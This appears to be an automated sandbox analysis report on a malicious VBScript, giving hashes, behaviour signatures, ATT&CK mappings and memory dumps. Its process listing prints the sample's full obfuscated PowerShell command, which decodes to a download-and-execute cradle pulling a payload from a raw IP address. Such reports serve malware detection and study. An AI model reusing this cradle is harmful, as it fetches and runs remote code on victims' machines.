030fb292c8fedebe01ff5929c737df216dfde678e14fbf47ac70c7a21f630cb7

General

Target

ISSVULHWACHLPTGHUNSEZBHITDJCYSVUKKGQHLSCPYQYLHSHFDDDKXHBOOLHYAHOOCFW.vbs
Size

10KB
MD5

d0be9b310cf06899b65ff3db8c6b20a7
SHA1

ce3d7dabd54f6c8c995cde52cf4be2bc30653965
SHA256

030fb292c8fedebe01ff5929c737df216dfde678e14fbf47ac70c7a21f630cb7
SHA512

11b04987b28603549e641907c7a2d2af58303df5628c669bbbb37ec6079767675aabe921e59e67dfea04a629c6afc8b9622dd7e395e261bab7cdb855153f204e

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1796 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1796 powershell.exe

pid	process
1796	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1796	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 764 wrote to memory of 1796	764	WScript.exe	powershell.exe
PID 764 wrote to memory of 1796	764	WScript.exe	powershell.exe
PID 764 wrote to memory of 1796	764	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ISSVULHWACHLPTGHUNSEZBHITDJCYSVUKKGQHLSCPYQYLHSHFDDDKXHBOOLHYAHOOCFW.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HUEFUTBTCTLCFKDGFALECUN = '[*+5&/!3<</(%3<$$&<1@#-y*+5&/!3<</(%3<$$&<1@#-t/%&1&+&7=!@8-0(0-+8%$\[/&]9}][1_+@%-&<&#^--%.IO.*+5&/!3<</(%3<$$&<1@#-t)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$\4}84}8705\01[/#-(6&19%[/&]9}][1_+@%-&<&#^--%)*({3!_=3]@{-+1\}@%{88/%&1&+&7=!@8-0(0-+8%$\4}84}8705\01[/#-(6&19%d/%&1&+&7=!@8-0(0-+8%$\)*({3!_=3]@{-+1\}@%{88]'.RePlace('*+5&/!3<</(%3<$$&<1@#-','S').RePlace('/%&1&+&7=!@8-0(0-+8%$\','E').RePlace(')*({3!_=3]@{-+1\}@%{88','R').RePlace('4}84}8705\01[/#-(6&19%','A').RePlace('[/&]9}][1_+@%-&<&#^--%','M');$HHPCXNLYCJNJNANYSIXGBXB = ($HUEFUTBTCTLCFKDGFALECUN -Join '')|&('I'+'EX');$HBSWWCHKJPHCIHYLPBADIVC = '[%=}3&3{997<)<9(\/#$9]_y%=}3&3{997<)<9(\/#$9]_#[{9@(%3!%*}#!(]]5)5+%!^%)7)_4&^+#%{370{3-#%m.N!^%)7)_4&^+#%{370{3-#%#[{9@(%3!%*}#!(]]5)5+%.W!^%)7)_4&^+#%{370{3-#%bR!^%)7)_4&^+#%{370{3-#%qu!^%)7)_4&^+#%{370{3-#%%=}3&3{997<)<9(\/#$9]_#[{9@(%3!%*}#!(]]5)5+%]'.RePlace('%=}3&3{997<)<9(\/#$9]_','S').RePlace('!^%)7)_4&^+#%{370{3-#%','E').RePlace('#[{9@(%3!%*}#!(]]5)5+%','T');$HRKBGLQEIIOTGKRAVGDLNFB = ($HBSWWCHKJPHCIHYLPBADIVC -Join '')|&('I'+'EX');$HEKLNIBCXUJQWGFRURKPEYH = '}=5(@3]#3)+286%^()-%7%r\9-9[^\2<62^/3@+]3!){}a^[0__=$7}#(@{][37@^2_&\9-9[^\2<62^/3@+]3!){}'.RePlace('}=5(@3]#3)+286%^()-%7%','C').RePlace('\9-9[^\2<62^/3@+]3!){}','E').RePlace('^[0__=$7}#(@{][37@^2_&','T');$HEBZUFQTNVBUTPKTLSTLJWS = '<=7#5]=_4*+3-]/7}6)-!)\(9%[{[/5=6/[(%9(&%592tR\(9%[{[/5=6/[(%9(&%592++4/41*0$\7@})4_2\{5$/Pon++4/41*0$\7@})4_2\{5$/\(9%[{[/5=6/[(%9(&%592'.RePlace('<=7#5]=_4*+3-]/7}6)-!)','G').RePlace('\(9%[{[/5=6/[(%9(&%592','E').RePlace('++4/41*0$\7@})4_2\{5$/','S');$HHPHRZIHNFHAGPKYQIXDUFE = 'G-^{}6\%&!4)-{0/-92=!)1t1/=&068/-*)_2^(\@_)-}7-^{}6\%&!4)-{0/-92=!)1\{1@=&(406!]](!]+[#[08Pon\{1@=&(406!]](!]+[#[08-^{}6\%&!4)-{0/-92=!)1\{1@=&(406!]](!]+[#[08t1/=&068/-*)_2^(\@_)-}7-^{}6\%&!4)-{0/-92=!)1am'.RePlace('\{1@=&(406!]](!]+[#[08','S').RePlace('-^{}6\%&!4)-{0/-92=!)1','E').RePlace('1/=&068/-*)_2^(\@_)-}7','R');$HXLYDESAYDAKLLLAJUVKBOS = '85{2//*@5<)-^[3_)00#@2449$6@_2+[6{+*=970##$_a101-}+2!%$[72+-&{7+39{To449$6@_2+[6{+*=970##$_n101-}+2!%$[72+-&{7+39{'.RePlace('85{2//*@5<)-^[3_)00#@2','R').RePlace('449$6@_2+[6{+*=970##$_','E').RePlace('101-}+2!%$[72+-&{7+39{','D');&('I'+'EX')($HHPCXNLYCJNJNANYSIXGBXB::new($HRKBGLQEIIOTGKRAVGDLNFB::$HEKLNIBCXUJQWGFRURKPEYH('HttP://54.235.58.2/3/Y7839.txt').$HEBZUFQTNVBUTPKTLSTLJWS().$HHPHRZIHNFHAGPKYQIXDUFE()).$HXLYDESAYDAKLLLAJUVKBOS())
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1796

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/764-54-0x000007FEFB711000-0x000007FEFB713000-memory.dmp

Filesize
8KB

Download
memory/1796-56-0x000007FEF2830000-0x000007FEF338D000-memory.dmp

Filesize
11.4MB

Download
memory/1796-57-0x000007FEF4F5E000-0x000007FEF4F5F000-memory.dmp

Filesize
4KB

Download
memory/1796-58-0x00000000025A0000-0x00000000025A2000-memory.dmp

Filesize
8KB

Download
memory/1796-60-0x00000000025A4000-0x00000000025A7000-memory.dmp

Filesize
12KB

Download
memory/1796-59-0x00000000025A2000-0x00000000025A4000-memory.dmp

Filesize
8KB

Download
memory/1796-61-0x00000000025AB000-0x00000000025CA000-memory.dmp

Filesize
124KB

Download

Analysis

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